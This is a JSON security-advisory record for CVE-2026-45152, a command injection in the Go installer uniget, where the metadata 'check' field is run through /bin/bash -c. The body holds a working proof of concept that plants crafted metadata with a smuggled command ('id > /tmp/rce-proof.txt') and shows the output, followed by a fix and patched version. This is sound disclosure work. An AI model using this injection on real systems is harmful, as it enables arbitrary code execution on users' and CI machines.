{"id":"CVE-2026-45152","aliases":["GHSA-qqq4-5773-pmw5","GO-2026-5590"],"title":"uniget is Vulnerable to Command Injection in tool.Check Leading to Arbitrary Code Execution","summary":"uniget is Vulnerable to Command Injection in tool.Check Leading to Arbitrary Code Execution","severity":"high","cvss":7.8,"cvssVector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","vendor":"uniget-org","product":"gitlab.com/uniget-org/cli","ecosystem":"go","affected":["gitlab.com/uniget-org/cli < 0.27.1"],"patched":["gitlab.com/uniget-org/cli 0.27.1"],"published":"2026-05-13","updated":"2026-07-08","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-qqq4-5773-pmw5","references":[{"url":"https://github.com/uniget-org/cli/security/advisories/GHSA-qqq4-5773-pmw5"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45152"},{"url":"https://github.com/uniget-org/cli"},{"url":"https://github.com/uniget-org/cli/releases/tag/v0.27.1"}],"tags":["osv","go"],"epss":0.0083,"epssPercentile":0.55996,"ingestedAt":"2026-07-09T18:56:36.854Z","slug":"CVE-2026-45152","body":"## Overview\n\nI discovered a command injection vulnerability in uniget that allows arbitrary command execution through the metadata loading and version check mechanism.\n\n### Summary\n\nA command injection vulnerability exists in uniget due to unsafe execution of the `check` field from metadata files using `/bin/bash -c`. Because the `check` field is loaded directly from untrusted JSON metadata without validation or sanitization, an attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations such as `describe`, `install`, `update`, or `inspect` are performed.\n\nThis vulnerability can lead to arbitrary code execution with the privileges of the user running uniget.\n\n### Details\n\nThe vulnerable code is located in:\n\n`tool.go:250`\n\nVulnerable function:\n\n```go id=\"f2g0ic\"\nfunc (tool *Tool) RunVersionCheck() (string, error) {\n    cmd := exec.Command(\"/bin/bash\", \"-c\", tool.Check+\" | tr -d '\\n'\")\n    version, err := cmd.Output()\n    return string(version), nil\n}\n```\n\nThe issue occurs because the `tool.Check` field is populated directly from metadata JSON files without validation.\n\nRelated structure:\n\n```go id=\"7f4yzm\"\ntype Tool struct {\n    Check string\n}\n```\n\nMetadata loading uses `json.Unmarshal()` to populate the `Tool` struct directly from JSON metadata, allowing attacker-controlled input to reach the shell execution sink.\n\nBecause `/bin/bash -c` is used, shell metacharacters such as `;`, `&&`, `|`, `$()`, and backticks are interpreted by the shell, enabling arbitrary command injection.\n\n### PoC\n\nStep 1 — Verify the vulnerable binary:\n\n```bash id=\"7k3d07\"\n/tmp/uniget-bin --version\n```\n\nOutput:\n\n```text id=\"p2gk9z\"\nuniget version main\n```\n\nStep 2 — Create malicious metadata cache:\n\n```bash id=\"j5zpr0\"\nmkdir -p ~/.local/var/cache/uniget\n\ncat > ~/.local/var/cache/uniget/metadata.json << 'EOF'\n{\n  \"tools\": [\n    {\n      \"name\": \"evil-tool\",\n      \"version\": \"1.0.0\",\n      \"binary\": \"${target}/bin/evil-tool\",\n      \"check\": \"echo '1.0.0'; id > /tmp/rce-proof.txt\",\n      \"tags\": [\"test\"],\n      \"description\": \"RCE test\",\n      \"repository\": \"https://example.com\",\n      \"license\": {\n        \"name\": \"MIT\",\n        \"link\": \"https://example.com\"\n      },\n      \"sources\": [\n        {\n          \"registry\": \"ghcr.io\",\n          \"repository\": \"uniget-org/tools\"\n        }\n      ]\n    }\n  ]\n}\nEOF\n```\n\nStep 3 — Create placeholder binary:\n\n```bash id=\"53ml7u\"\nmkdir -p ~/.local/usr/local/bin\n\ncat > ~/.local/usr/local/bin/evil-tool << 'EOF'\n#!/bin/bash\necho \"placeholder\"\nEOF\n\nchmod +x ~/.local/usr/local/bin/evil-tool\n```\n\nStep 4 — Trigger the vulnerable workflow:\n\n```bash id=\"w4j7h4\"\n/tmp/uniget-bin describe evil-tool --prefix ~/.local\n```\n\nApplication output:\n\n```text id=\"q0k54m\"\nName: evil-tool\n  Description: RCE test\n  Repository: https://example.com\n  Version: 1.0.0\n  Check: <echo '1.0.0'; id > /tmp/rce-proof.txt>\n```\n\nStep 5 — Verify arbitrary command execution:\n\n```bash id=\"w7r8z3\"\nls -la /tmp/rce-proof.txt\ncat /tmp/rce-proof.txt\n```\n\nActual output:\n\n```bash id=\"6plm7v\"\n-rw-rw-r-- 1 w4nn4d13 w4nn4d13 253 May 7 23:53 /tmp/rce-proof.txt\n\nuid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),106(bluetooth),108(lpadmin),112(kaboxer),113(wireshark),128(docker)\n```\n\n<img width=\"1107\" height=\"694\" alt=\"image\" src=\"https://github.com/user-attachments/assets/857dbec9-9e51-4676-bf90-e529ad23b9a7\" />\n\n<img width=\"1909\" height=\"631\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f4a1bac2-634e-4f67-91cb-c8684f442b4e\" />\n\n\nThis confirms arbitrary command execution through the untrusted `check` field loaded from metadata.\n\n### Impact\n\nThis issue allows arbitrary command execution on systems running uniget when processing malicious metadata.\n\nAn attacker may be able to:\n\n* Execute arbitrary shell commands\n* Exfiltrate sensitive files or environment variables\n* Install malware or backdoors\n* Modify or delete accessible files\n* Establish persistence on the victim machine\n* Compromise CI/CD environments using uniget automation\n\nAny user importing or processing attacker-controlled metadata may be impacted.\n\n### Suggested Remediation\n\nAvoid using `/bin/bash -c` with untrusted input.\n\nInstead of:\n\n```go id=\"ntxjlwm\"\nexec.Command(\"/bin/bash\", \"-c\", tool.Check+\" | tr -d '\\n'\")\n```\n\nconsider executing fixed binaries and arguments directly without invoking a shell.\n\nFor example:\n\n```go id=\"ngbkk2\"\nexec.Command(binary, \"--version\")\n```\n\nor sanitize and strictly validate allowed commands before execution.\n\nThank you for your time and for maintaining the project. Please let me know if you need any additional information or a more detailed proof of concept.\n\n## Affected packages\n\n- `gitlab.com/uniget-org/cli < 0.27.1`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `gitlab.com/uniget-org/cli 0.27.1`","depth":"twilight","depthScore":43,"depthScoreParts":{"impact":42.9,"likelihood":0.2,"exploitation":0,"ransomware":0},"changes":[]}